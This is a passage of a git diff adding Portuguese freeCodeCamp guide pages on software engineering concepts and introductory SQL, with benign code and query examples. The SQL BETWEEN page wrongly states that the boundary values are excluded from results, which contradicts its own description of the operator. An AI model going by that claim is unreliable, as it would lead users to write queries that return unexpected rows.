+*   [Lista Curada de Blogs de Engenharia](https://github.com/kilimchoi/engineering-blogs)
+*   [Código de Ética e Prática Profissional de Engenharia de Software](http://www.acm.org/about/se-code)
+*   [Artigo da Wikipédia](https://en.wikipedia.org/wiki/Software_engineering)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/iron-triangle-or-pick-two/index.md b/client/src/guide/portuguese/software-engineering/iron-triangle-or-pick-two/index.md
new file mode 100644
index 0000000000..2852e02ea0
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/iron-triangle-or-pick-two/index.md
@@ -0,0 +1,17 @@
+---
+title: The Iron Triangle, or "Pick Two"
+localeTitle: O Triângulo de Ferro, ou "Pick Two"
+---
+# O Triângulo de Ferro, ou "Pick Two"
+
+O desenvolvimento de software é uma série de compensações entre os recursos implementados, a qualidade dos recursos e quanto tempo leva para produzir. Mas, não importa quanto esforço seja investido, não se pode maximizar de maneira sustentável todos os três sem aumentar o custo do projeto. Para o desenvolvimento de software, muitas vezes o custo está diretamente relacionado ao número de pessoas designadas e trabalhando em um projeto. Este conceito é frequentemente resumido como "Pick Two: Quality, Speed, Features".
+
+Essa relação entre qualidade, recursos, velocidade e custo é ilustrada imaginando um triângulo com um volume fixo com o volume sendo de qualidade. Pode-se aumentar a velocidade de implementação e os recursos, mas a qualidade sofrerá se o custo permanecer inalterado, mantendo o volume do triângulo igual.
+
+Frequentemente, presume-se que o custo seja constante porque, na maioria dos casos, o custo é fixo e não há orçamento para adicionar mais pessoas nem há pessoas disponíveis para transferência de outros projetos. ![Ilustração do Triângulo de Ferro com Escopo, Recursos, Cronograma e Qualidade](http://www.ambysoft.com/artwork/ironTriangle.jpg)
+
+* * *
+
+## Fontes:
+
+*   [O](http://www.ambysoft.com/essays/brokenTriangle.html) ensaio clássico [anti-padrão Broken Iron Triangle](http://www.ambysoft.com/essays/brokenTriangle.html) de [Scott Ambler](https://en.wikipedia.org/wiki/Scott_Ambler)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/orthogonality/index.md b/client/src/guide/portuguese/software-engineering/orthogonality/index.md
new file mode 100644
index 0000000000..d09b586117
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/orthogonality/index.md
@@ -0,0 +1,35 @@
+---
+title: Orthogonality
+localeTitle: Ortogonalidade
+---
+## Ortogonalidade
+
+Na engenharia de software, um sistema é considerado ortogonal se a alteração de um de seus componentes alterar apenas o estado desse componente. Por exemplo, considere um programa com três variáveis: a, b e c. Alterar o valor de a, não deve alterar o valor de b ou c, desde que sejam independentes. Essa propriedade é particularmente crítica na depuração de um programa, pois depende da redução do número de partes móveis de um programa para identificar a causa raiz do problema.
+
+Veja a seguinte citação da "Arte da programação UNIX" de Eric S. Raymond.
+
+> A ortogonalidade é uma das propriedades mais importantes que podem ajudar a tornar compactos os designs complexos. Em um design puramente ortogonal, as operações não têm efeitos colaterais; cada ação (seja uma chamada de API, uma invocação de macro ou uma operação de linguagem) altera apenas uma coisa sem afetar outras pessoas. Existe uma e apenas uma maneira de mudar cada propriedade de qualquer sistema que você esteja controlando.
+
+A ortogonalidade é um princípio de design de software para escrever componentes de forma que a alteração de um componente não afete outros componentes. É a combinação de dois outros princípios, a saber, forte coesão e baixo acoplamento.
+
+Ortogonalidade é um termo emprestado da matemática. Por exemplo, duas linhas são ortogonais se forem perpendiculares. No design de software, dois componentes são ortogonais se uma alteração em um não afeta o outro.
+
+Aplicar esse conceito a classes ou outras seções de código resulta em menos acoplamento. Para ser ortogonal, duas classes não podem depender da implementação umas das outras. Eles também não podem compartilhar dados globais. Alterar as partes internas de uma classe não afeta a outra classe. Os componentes devem ser independentes e ter uma única responsabilidade.
+
+Considere um método que leia uma lista de números de um arquivo e os retorne na ordem de classificação. Agora os requisitos mudam e os números estão em um banco de dados. Modificar esse método para acessar o banco de dados faria com que o código do cliente fosse alterado. Se fossem dois métodos diferentes, uma nova fonte não afetaria o método de classificação. Apenas o código do cliente teria que saber a origem dos números.
+
+### Coesão Forte
+
+Dentro de um componente de software, o código deve estar fortemente conectado. Essa é uma indicação de que o código está corretamente dividido. Se um componente tiver duas ou mais partes relativamente desconectadas, isso pode indicar que essas partes devem estar em um componente diferente ou por conta própria.
+
+### Acoplamento solto
+
+Entre os componentes de software, deve haver poucas conexões. Se dois componentes estiverem fortemente acoplados, isso pode indicar que eles precisam ser um componente ou que precisam ser divididos de maneira diferente em mais componentes.
+
+#### Mais Informações:
+
+*   [Ortogonalidade (programação) | Wikipedia](https://en.wikipedia.org/wiki/Orthogonality_(programming))
+*   [Princípios da Programação Orientada a Objetos Ortogonais | jasoncoffin.com](http://www.jasoncoffin.com/cohesion-and-coupling-principles-of-orthogonal-object-oriented-programming/)
+*   [GRASP - princípios de design orientados a objetos | Wikipedia](https://en.wikipedia.org/wiki/GRASP_(object-oriented_design)
+
+Estouro de pilha: o que é ortogonalidade ?. https://stackoverflow.com/questions/1527393/what-is-orthogonality
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/quality-assurance/index.md b/client/src/guide/portuguese/software-engineering/quality-assurance/index.md
new file mode 100644
index 0000000000..84b09c8755
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/quality-assurance/index.md
@@ -0,0 +1,81 @@
+---
+title: Quality Assurance
+localeTitle: Garantia da Qualidade
+---
+## Garantia da Qualidade
+
+Garantia de qualidade (comumente conhecido como QA) é o meio pelo qual um produto em desenvolvimento é verificado para garantir que ele funcione como deveria. Os métodos atuais usados ​​nos processos de controle de qualidade variam enormemente dependendo do tamanho e da natureza do produto.
+
+Para um projeto pessoal, você provavelmente só testará conforme for indo, pedindo a outras pessoas que forneçam feedback nos estágios apropriados. Por outro lado, um aplicativo bancário deve ter todos os aspectos de cada recurso exaustivamente verificados e documentados para garantir que ele seja funcional e seguro.
+
+Independentemente de quão formal ou detalhado seja um processo de QA, seu objetivo é identificar bugs para que possam ser resolvidos antes que o produto seja liberado.
+
+### Metodologias
+
+#### Ágil
+
+Em uma abordagem Ágil ao desenvolvimento, o objetivo é que cada ciclo de trabalho ('sprint') produza software funcional que possa ser adicionado e aprimorado de forma iterativa. Isso faz com que o controle de qualidade processe uma parte intrínseca do ciclo de desenvolvimento. Ao testar componentes de software em cada estágio de sua produção, você reduz o risco de erros estarem presentes no lançamento.
+
+### Terminologia
+
+#### Teste de automação
+
+Testes feitos com scripts pré-escritos projetados para controlar a execução de testes.
+
+#### Caixa preta
+
+Esses testes não olham dentro do sistema em teste, mas o tratam como "fechado" da mesma maneira que o usuário final o experimentará.
+
+#### Defeito
+
+Qualquer desvio das especificações de um aplicativo; muitas vezes referido como um "bug".
+
+#### Teste exploratório
+
+Uma abordagem improvisada para testes, que se baseia na criatividade exclusiva do testador, em um esforço para encontrar bugs desconhecidos e identificar regressões.
+
+#### Teste de integração
+
+Testando componentes / módulos individuais juntos para garantir que eles se conectem e interajam bem uns com os outros.
+
+#### Teste de caminho negativo
+
+Um cenário de teste projetado para produzir um estado de erro em um recurso / aplicativo e verificar se o erro é tratado normalmente. Um exemplo disso é inserir uma série de números no campo de email em um formulário de registro do usuário e verificar se o registro não é aceito até que um endereço de email real seja fornecido.
+
+#### Teste de regressão
+
+Teste feito em uma nova compilação para garantir que a nova funcionalidade não tenha quebrado involuntariamente a funcionalidade testada anteriormente.
+
+#### Testes de fumaça
+
+Uma abordagem minimalista para testes destinados a garantir a funcionalidade básica está funcionando antes que ocorram testes mais detalhados. Geralmente ocorre no início do processo de teste.
+
+#### Caso de teste
+
+Pré-condições, etapas e resultados esperados especificados referidos por um testador / engenheiro de QA para determinar se um recurso realiza ou não sua tarefa conforme o esperado.
+
+#### Caixa branca
+
+Refere-se a testes realizados em um nível estrutural, dentro da base de código. Programadores verificando se as entradas e saídas de funções ou componentes específicos seriam testes de caixa branca.
+
+Também conhecido como 'Caixa de Vidro', 'Caixa Clara', 'Caixa Transparente' porque o testador pode 'ver dentro' do sistema em teste.
+
+As principais categorias são
+
+*   **Testes unitários** (unidades individuais de código fazem o que devem)
+*   **Testes de integração** (unidades / componentes interagem uns com os outros corretamente)
+*   **Testes de regressão** (reaplicação de testes em estágios posteriores de desenvolvimento para garantir que eles ainda funcionem)
+
+Existem três técnicas principais:
+
+*   **Partição de equivalência** (os valores de entrada testados são representativos de conjuntos de dados de entrada maiores)
+*   **Análise de valor limite** (o sistema é testado com entradas escolhidas onde o comportamento e, portanto, a saída deve mudar)
+*   **Gráficos de efeito-causa** (os testes são projetados a partir de uma visualização das relações de entrada-saída)
+
+### Outros recursos
+
+[Desenvolvimento orientado a testes (freeCodeCamp Guide)](https://guide.freecodecamp.org/agile/test-driven-development)
+
+# [Testes de unidade (freeCodeCamp Guide)](https://guide.freecodecamp.org/software-engineering/unit-tests/)
+
+[Fundamentos de teste de software](http://softwaretestingfundamentals.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/scalability-cube/index.md b/client/src/guide/portuguese/software-engineering/scalability-cube/index.md
new file mode 100644
index 0000000000..65408a08c8
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/scalability-cube/index.md
@@ -0,0 +1,11 @@
+---
+title: Scalability Cube
+localeTitle: Cubo de Escalabilidade
+---
+## Cubo de Escalabilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/software-engineering/scalability-cube/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/tco-tail-call-optimization/index.md b/client/src/guide/portuguese/software-engineering/tco-tail-call-optimization/index.md
new file mode 100644
index 0000000000..de0fc630cf
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/tco-tail-call-optimization/index.md
@@ -0,0 +1,70 @@
+---
+title: TCO Tail Call Optimization
+localeTitle: Otimização de Chamadas TCO
+---
+## Otimização de Chamadas (TCO)
+
+O Tail Call Optimization ( **TCO** ) é uma solução para o problema de estouro de pilha ao fazer recursão.
+
+### O problema
+
+Cada chamada para uma função é enviada para uma pilha na memória do computador. Quando a função termina, ela é retirada da pilha. Em recursão, a função chama a si mesma, portanto, continua adicionando à pilha até que todas essas funções sejam concluídas. Existe, claro, um limite para esta pilha. Quando há muitas funções chamadas, muitas chamadas são adicionadas à pilha. Quando a pilha está cheia e uma função é chamada, isso resulta em um **estouro de pilha** porque a pilha já está cheia. A função recursiva não terminará e resultará em um erro.
+
+#### Exemplo
+
+Aqui está um exemplo de uma função fatorial JavaScript usando recursão **sem** TCO:
+
+```javascript
+  function fact(x) { 
+    if (x <= 1) { 
+      return 1; 
+    } else { 
+      return x * fact(x-1); 
+    } 
+  } 
+ 
+  console.log(fact(10)); // 3628800 
+  console.log(fact(10000)); // RangeError: Maximum call stack size exceeded 
+```
+
+Observe que executar um `fact` com um argumento de 10000 resultará em um **estouro de pilha** .
+
+### Usando o TCO para resolver o problema
+
+Para resolver isso usando Tail Call Optimization, a instrução onde a função chama a si mesma deve estar em uma posição final. A posição final é a última declaração a ser executada em uma função. Portanto, a chamada da função para si mesma deve ser a última coisa chamada antes que a função termine.
+
+No exemplo anterior, a operação de multiplicação é executada por último na `return x * fact(x-1)` , portanto, não era a operação final da função. Portanto, não é otimizado. Para que seja otimizada a chamada de cauda, ​​você precisa fazer a chamada para si mesmo a última operação da função.
+
+#### Exemplo
+
+Aqui está um exemplo de uma função fatorial JavaScript (ES5) usando recursão **com** TCO.
+
+```javascript
+  function fact(n) { 
+      return factTCO(n, 1); 
+  } 
+ 
+  function factTCO(x, acc) { 
+      if (x <= 1) { 
+          return acc; 
+      } else { 
+          return factTCO(x-1, x*acc); 
+      } 
+  } 
+ 
+  console.log(fact(10)); // 3628800 
+  console.log(fact(10000)); // Infinity - Number too large, but unlike the unoptimized factorial, this does not result in stack overflow. 
+```
+
+Observe que executar `fact` em 10000 desta vez **não resultará em um estouro de pilha** quando _executado em um navegador que suporte ES6_ porque a chamada para `factTCO` é a última operação da função.
+
+### Por que isso funciona
+
+Quando o compilador ou o interpretador percebe que a auto-chamada é a última operação da função, ela abre a função atual e envia a auto-chamada para a pilha. Desta forma, o tamanho da pilha não é alterado. Portanto, a pilha não transborda por causa da função.
+
+### Notas
+
+#### Mais Informações:
+
+*   [O que é otimização de chamada de cauda?](https://stackoverflow.com/questions/310974/what-is-tail-call-optimization) (StackOverflow)
+*   [Otimização de chamada de cauda no ECMAScript 6](http://2ality.com/2015/06/tail-call-optimization.html) (2ality - blog do Dr. Axel Rauschmayer)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/unit-tests/index.md b/client/src/guide/portuguese/software-engineering/unit-tests/index.md
new file mode 100644
index 0000000000..0298072e65
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/unit-tests/index.md
@@ -0,0 +1,51 @@
+---
+title: Unit Tests
+localeTitle: Testes Unitários
+---
+## Testes Unitários
+
+O teste unitário é um tipo de teste encontrado na parte inferior da pirâmide de teste de software. Isso envolve quebrar a base de código em partes menores (ou unidades) e testá-las isoladamente. Dependendo do tipo de linguagem de programação (ou paradigma), isso pode ser contra qualquer coisa que você defina como uma unidade, embora a prática mais comum seja contra funções.
+
+### Por que fazê-lo?
+
+*   **Proteção** - Teste de unidade protege contra a introdução de bugs novos ou antigos para programação defensiva
+*   **Confiança** - Você pode adicionar alterações, reutilizar ou refatorar códigos (ambos muito comuns) e ter certeza de que não adicionou um bug
+*   **Documentação** - O teste de unidade documenta o comportamento e o fluxo de código, facilitando a compreensão de alguém novo no código
+*   **Isolation** - isola um módulo do recurso inteiro. Essa abordagem obriga você a pensar em um módulo por si só e perguntar qual é o seu trabalho?
+*   **Qualidade** - Como o teste de unidade força você a pensar e usar sua própria API, ele impõe interfaces e padrões bons / extensíveis. Pode indicar qualquer acoplamento ou complexidade excessiva que deva ser abordado. Código ruim geralmente é muito mais difícil de testar
+*   **Padrão da indústria** - O teste de unidade é uma disciplina comum nos dias de hoje e é um requisito para uma grande parte das empresas de software
+*   **Menos bugs** - Pesquisas substanciais sugerem que a aplicação de testes a uma aplicação pode reduzir a densidade de bugs de produção em 40% - 80%.
+
+### Exemplo (em Javascript)
+
+Suponha que haja uma função escrita no arquivo **add.js**
+
+```javascript
+var add = function(number1, number2){ 
+  return number1 + number2; 
+ } 
+```
+
+Agora, a fim de escrever o teste unitário desta função em particular, podemos usar ferramentas de teste como o [mocha](http://mochajs.org/)
+
+```javascript
+const mocha = require('mocha') 
+ const chai = require('chai')  // It is an assertion library 
+ describe('Test to check add function', function(){ 
+  it('should add two numbers', function(){ 
+    (add(2,3)).should.equal(5)  //Checking that 2+3 should equal 5 using the given add function 
+  }); 
+ }); 
+```
+
+### Desenvolvimento Orientado a Testes
+
+O teste unitário é uma característica fundamental da abordagem de desenvolvimento orientado a testes (TDD) para o desenvolvimento de software. Nesta abordagem, o código para recursos ou funções específicas é escrito através do uso repetido de um ciclo muito curto. Primeiro, o desenvolvedor escreve um conjunto de testes unitários automatizados e garante que eles falhem inicialmente. Em seguida, o desenvolvedor implementa a quantidade mínima de código necessária para passar nos casos de teste. Uma vez que tenha sido validado que o código está se comportando conforme o esperado, o desenvolvedor volta atrás e refatora o código para aderir a qualquer padrão de codificação relevante.
+
+### Mais Informações
+
+Martin Fowler em testes unitários: [martinfowler.com](https://www.martinfowler.com/bliki/UnitTest.html)
+
+Robert Martin também conhecido como "Dr. Bob" em TDD: [butunclebob.com](http://www.butunclebob.com/ArticleS.UncleBob.TheThreeRulesOfTdd)
+
+Eric Elliot em testes unitários e TDD: [Medium](https://medium.com/javascript-scene/5-common-misconceptions-about-tdd-unit-tests-863d5beb3ce9)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/version-control-system/index.md b/client/src/guide/portuguese/software-engineering/version-control-system/index.md
new file mode 100644
index 0000000000..b06f484797
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/version-control-system/index.md
@@ -0,0 +1,47 @@
+---
+title: Version Control System
+localeTitle: Sistema de Controle de Versão
+---
+## Sistema de Controle de Versão
+
+Sistemas de controle de versão (VCS), também chamados de Source Code Management (SCM), são ferramentas usadas para rastrear mudanças nos arquivos, gerenciar a versão e facilitar a edição colaborativa de arquivos. Existem principalmente 2 tipos de VCS:
+
+*   Sistema de Controle de Versão Centralizado Onde um repositório central é autoritativo. A arquitetura associada é cliente / servidor. Os primeiros VCS (CVS, SVN…) foram Centralized Version Control System.
+*   Sistema de Controle de Versão Distribuída Onde várias modificações de troca de repositório. A arquitetura associada é principalmente peer to peer, mas um repo pode ser declarado como autoritativo. O VCS moderno mais utilizado (Git, Mercurial…) é o Distributed Version Control System.
+
+### Por que usar isso?
+
+*   **Histórico de alterações** - O VCS permite ao usuário navegar e pesquisar todas as alterações que são gravadas automaticamente com informações úteis (data, autor ...) e
+*   **Versões / tags** - o usuário pode pesquisar / recuperar o estado específico dos arquivos que foram rotulados com tags e nomes de versão
+*   **Ramificação / Mesclagem** - O Distributed Version Control System facilita a manutenção da ramificação paralela de arquivos e a mescla parcial ou totalmente quando necessário.
+*   **Operações atômicas** - Todos os VCS modernos fornecem operações atômicas: todas as modificações são garantidas para ter sucesso ou falhar como um todo, garantindo que os arquivos estejam sempre em um estado consistente.
+
+### Sistema de Controle de Versão mais popular
+
+*   Git
+
+_O Git_ é um Sistema de Controle de Versão Distribuído e provavelmente o VCS mais usado atualmente com o _Mercurial_ .
+
+*   Mercurial
+
+_Mercurial_ é um sistema de controle de versão distribuído e provavelmente o mais usado VCS usado hoje em dia com o _Git_ .
+
+*   CVS
+
+_O CVS_ é um antigo SCM que era proeminente antes do _SVN_ generalizado. _O CVS_ e o _SVN_ agora estão obsoletos em favor do Distributed Version Control System, como o _Git_ e o _Mercurial_ .
+
+*   SVN / Subversion
+
+_O SVM_ é um antigo SCM que sucedeu o _CVS_ . Eventualmente, o _SVN_ foi preterido pela ampla adoção do Distributed Version Control System, como o _Git_ e o _Mercurial._
+
+### Mais Informações:
+
+[CVS](http://savannah.nongnu.org/projects/cvs)
+
+[Git](https://git-scm.com/)
+
+[Mercurial](https://www.mercurial-scm.org/)
+
+[SVN](http://subversion.tigris.org/)
+
+[Controle de versão na Wikipedia](https://en.wikipedia.org/wiki/Version_control)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/index.md b/client/src/guide/portuguese/sql/index.md
new file mode 100644
index 0000000000..ad073fb52a
--- /dev/null
+++ b/client/src/guide/portuguese/sql/index.md
@@ -0,0 +1,9 @@
+---
+title: SQL
+localeTitle: SQL
+---
+## SQL
+
+SQL significa Linguagem de Consulta Estruturada. É a ferramenta mais comum usada para manipular e gerenciar dados em um banco de dados relacional (geralmente chamado de "banco de dados SQL").
+
+SQL é comumente pronunciado "sequela". Suas variantes mais populares são MySQL, PostgreSQL e SQLite - uma versão do SQL que é comumente usada para prototipagem. Introduziu o conceito de acessar muitos registros com um único comando, usando consultas SQL.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-aliases/index.md b/client/src/guide/portuguese/sql/sql-aliases/index.md
new file mode 100644
index 0000000000..ff03b78646
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-aliases/index.md
@@ -0,0 +1,58 @@
+---
+title: SQL Aliases
+localeTitle: Aliases SQL
+---
+## Aliases SQL
+
+## Usando o AS para atribuir nomes significativos ou mais simples
+
+Você pode usar o AS para atribuir um nome a uma coluna de dados que você está selecionando ou que foi calculada.
+
+```sql
+SELECT user_only_num1 AS AgeOfServer, (user_only_num1 - warranty_period) AS NonWarrantyPeriod FROM server_table 
+```
+
+Isso resulta na saída como abaixo.
+
+```text
++-------------+------------------------+ 
+ | AgeOfServer | NonWarrantyPeriod      | 
+ +-------------+------------------------+ 
+ |         36  |                     24 | 
+ |         24  |                     12 | 
+ |         61  |                     49 | 
+ |         12  |                      0 | 
+ |          6  |                     -6 | 
+ |          0  |                    -12 | 
+ |         36  |                     24 | 
+ |         36  |                     24 | 
+ |         24  |                     12 | 
+ +-------------+------------------------+ 
+```
+
+Você também pode usar o AS para atribuir um nome a uma tabela para facilitar a referência nas junções.
+
+```sql
+SELECT ord.product, ord.ord_number, ord.price, cust.cust_name, cust.cust_number FROM customer_table AS cust 
+ 
+ JOIN order_table AS ord ON cust.cust_number = ord.cust_number 
+```
+
+Isso resulta na saída como abaixo.
+
+```text
++-------------+------------+-----------+-----------------+--------------+ 
+ | product     | ord_number | price     | cust_name       | cust_number  | 
+ +-------------+------------+-----------+-----------------+--------------+ 
+ |     RAM     |   12345    |       124 | John Smith      |  20          | 
+ |     CPU     |   12346    |       212 | Mia X           |  22          | 
+ |     USB     |   12347    |        49 | Elise Beth      |  21          | 
+ |     Cable   |   12348    |         0 | Paul Fort       |  19          | 
+ |     Mouse   |   12349    |        66 | Nats Back       |  15          | 
+ |     Laptop  |   12350    |       612 | Mel S           |  36          | 
+ |     Keyboard|   12351    |        24 | George Z        |  95          | 
+ |     Keyboard|   12352    |        24 | Ally B          |  55          | 
+ |     Air     |   12353    |        12 | Maria Trust     |  11          | 
+ +-------------+------------+-----------+-----------------+--------------+ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-alter-table-statement/index.md b/client/src/guide/portuguese/sql/sql-alter-table-statement/index.md
new file mode 100644
index 0000000000..40edff1018
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-alter-table-statement/index.md
@@ -0,0 +1,40 @@
+---
+title: SQL Alter Table Statement
+localeTitle: Instrução SQL Alter Table
+---
+## Guia SQL - ALTER TABLE
+
+## Introdução
+
+Este guia apresentará a você e tentará explicar algumas das noções básicas das funções de alteração da tabela SQL em um banco de dados relacional. **IMPORTANTE Dica de segurança: SEMPRE faça backup de seus dados antes de fazer alterações!**
+
+Nós estaremos usando o MySQL para todos os exemplos ao longo deste guia freeCodeCamp SQL. As razões para selecionar o MySQL são 1) é muito comumente usado em sites para o banco de dados back-end, 2) é grátis e é divertido e fácil de usar.
+
+## Coberto neste guia
+
+Vamos usar as tabelas criadas no guia “CREATE TABLE”. Sinta-se à vontade para revisar este guia se você não estiver familiarizado com a criação de uma tabela.
+
+*   Alterar a tabela criada irá alterá-la de várias maneiras diferentes.
+*   Vamos mudar seu nome e modificar colunas
+*   Adicione colunas (ao adicionar colunas, também analisaremos vários dos tipos de coluna mais importantes e seu uso).
+*   Solte colunas (ou seja, remova a coluna).
+*   Criando uma tabela importando um arquivo CSV e alterando essa tabela.
+*   Criando e modificando tabelas com ferramentas de workbench do MySQL.
+
+A maior parte disso será feita usando instruções SQL na ferramenta de script do MySQL workbench, mas também revisaremos como alterar uma tabela usando a interface do ambiente de trabalho em vez de com instruções SQL.
+
+## A mesa antes de alterações:
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table01a.JPG?raw=true)
+
+Adicione colunas de data e endereço de e-mail (uma data e uma coluna de caracteres): ![image-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table01.JPG?raw=true)
+
+Adicione uma coluna numérica (observe que ela foi adicionada em um local específico na tabela): ![image-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table02.JPG?raw=true)
+
+Renomeie algumas colunas: ![image-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table03.JPG?raw=true)
+
+Remova uma coluna: ![image-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table04.JPG?raw=true)
+
+Você também pode usar a ferramenta workbench alter table. Basta clicar com o botão direito na tabela que você deseja alterar e alterar como desejar. ![image-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table05.JPG?raw=true)
+
+Há muito mais que pode ser feito, verifique o manual do seu software de gerenciamento de banco de dados para saber mais.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-and-operator/index.md b/client/src/guide/portuguese/sql/sql-and-operator/index.md
new file mode 100644
index 0000000000..af94cf05e0
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-and-operator/index.md
@@ -0,0 +1,48 @@
+---
+title: SQL and Operator
+localeTitle: SQL e Operador
+---
+## Operador SQL AND
+
+AND é usado em uma cláusula WHERE ou uma cláusula GROUP BY HAVING para limitar as linhas retornadas da instrução executada. Use AND quando for necessário ter mais de uma condição satisfeita.
+
+Vamos usar a tabela do aluno para apresentar exemplos.
+
+Aqui está a tabela de alunos sem uma cláusula WHERE:
+
+```sql
+select * from student; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator01.JPG?raw=true)
+
+Agora, a cláusula WHERE é adicionada para exibir apenas os alunos de programação:
+
+```sql
+select * from student 
+ where programOfStudy = 'Programming'; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator02.JPG?raw=true)
+
+Agora, a cláusula WHERE é atualizada com AND para mostrar resultados para estudantes de programação que também têm uma pontuação SAT maior que 800:
+
+```sql
+select * from student 
+ where programOfStudy = 'Programming' 
+ and sat_score > 800; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator03.JPG?raw=true)
+
+Este é um exemplo mais complexo da tabela de contribuições da campanha. Este exemplo tem uma cláusula GROUP BY com a cláusula HAVING usando um AND para restringir os registros retornados aos candes de 2016 com contribuições entre US $ 3 milhões e US $ 18 milhões no total.
+
+```sql
+select Candidate, Office_Sought, Election_Year, FORMAT(sum(Total_$),2) from combined_party_data 
+ where Office_Sought = 'PRESIDENT / VICE PRESIDENT' 
+ group by Candidate, Office_Sought, Election_Year 
+ having Election_Year = 2016 and sum(Total_$) between 3000000 and 18000000 
+ order by sum(Total_$) desc; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator06.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-avg-function/index.md b/client/src/guide/portuguese/sql/sql-avg-function/index.md
new file mode 100644
index 0000000000..931c4b7583
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-avg-function/index.md
@@ -0,0 +1,25 @@
+---
+title: SQL Avg Function
+localeTitle: Função média do SQL
+---
+## Função Média SQL (AVG)
+
+"Média" é uma função Agregada (Agrupar por). É usado para calcular a média de uma coluna numérica do conjunto de linhas retornadas por uma instrução SQL.
+
+Aqui está a sintaxe para usar a função:
+
+```sql
+select groupingField, avg(num_field) 
+ from table1 
+ group by groupingField 
+```
+
+Aqui está um exemplo usando a tabela de alunos:
+
+```sql
+select studentID, FullName, avg(sat_score) 
+ from student 
+ group by studentID, FullName; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/avg_function01.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-between-operator/index.md b/client/src/guide/portuguese/sql/sql-between-operator/index.md
new file mode 100644
index 0000000000..66e4cb0dbb
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-between-operator/index.md
@@ -0,0 +1,49 @@
+---
+title: SQL Between Operator
+localeTitle: SQL entre o operador
+---
+## SQL entre o operador
+
+O operador BETWEEN é útil por causa do SQL Query Optimizer. Embora BETWEEN seja funcionalmente o mesmo que: x <= element <= y, o SQL Query Optimizer reconhecerá esse comando mais rapidamente e terá um código otimizado para executá-lo.
+
+Este operador é usado em uma cláusula WHERE ou em uma cláusula GROUP BY HAVING.
+
+São selecionadas linhas que possuem um valor maior que o valor mínimo e menor que o valor máximo.
+
+É importante ter em mente que os valores inseridos no comando são **excluídos** do resultado. Nós temos exatamente o que há entre eles.
+
+Aqui está a sintaxe para usar a função em uma Cláusula WHERE:
+
+```sql
+select field1, testField 
+ from table1 
+ where testField between min and max 
+```
+
+Aqui está um exemplo usando a tabela de alunos e a cláusula WHERE:
+
+```sql
+-- no WHERE clause 
+ select studentID, FullName, studentID 
+ from student; 
+ 
+ -- WHERE clause with between 
+ select studentID, FullName, studentID 
+ from student 
+ where studentID between 2 and 7; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/between01.JPG?raw=true)
+
+Aqui está um exemplo usando a tabela de fundos da campanha e a cláusula having. Isso retornará linhas em que a soma das doações para um candidato está entre US $ 3 milhões e US $ 18 milhões com base na cláusula HAVING na parte GROUP BY da instrução. Mais sobre agregação nesse guia.
+
+```sql
+select Candidate, Office_Sought, Election_Year, format(sum(Total_$),2) 
+ from combined_party_data 
+ where Election_Year = 2016 
+ group by Candidate, Office_Sought, Election_Year 
+ having sum(Total_$) between 3000000 and 18000000 
+ order by sum(Total_$) desc; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/between02.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-check-constraint/index.md b/client/src/guide/portuguese/sql/sql-check-constraint/index.md
new file mode 100644
index 0000000000..1602fdd6d2
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-check-constraint/index.md
@@ -0,0 +1,90 @@
+---
+title: SQL CHECK Constraint
+localeTitle: Restrição SQL CHECK
+---
+A restrição CHECK é usada para limitar o intervalo de valores que pode ser colocado em uma coluna.
+
+Se você definir uma restrição CHECK em uma única coluna, ela permitirá apenas determinados valores para essa coluna.
+
+Se você definir uma restrição CHECK em uma tabela, ela poderá limitar os valores em determinadas colunas com base nos valores de outras colunas na linha.
+
+### SQL CHECK em CREATE TABLE
+
+O SQL a seguir cria uma restrição CHECK na coluna "Age" quando a tabela "Persons" é criada. A restrição CHECK garante que você não pode ter nenhuma pessoa abaixo de 18 anos:
+
+**MySQL:**
+
+```sql
+CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int, 
+    CHECK (Age>=18) 
+ ); 
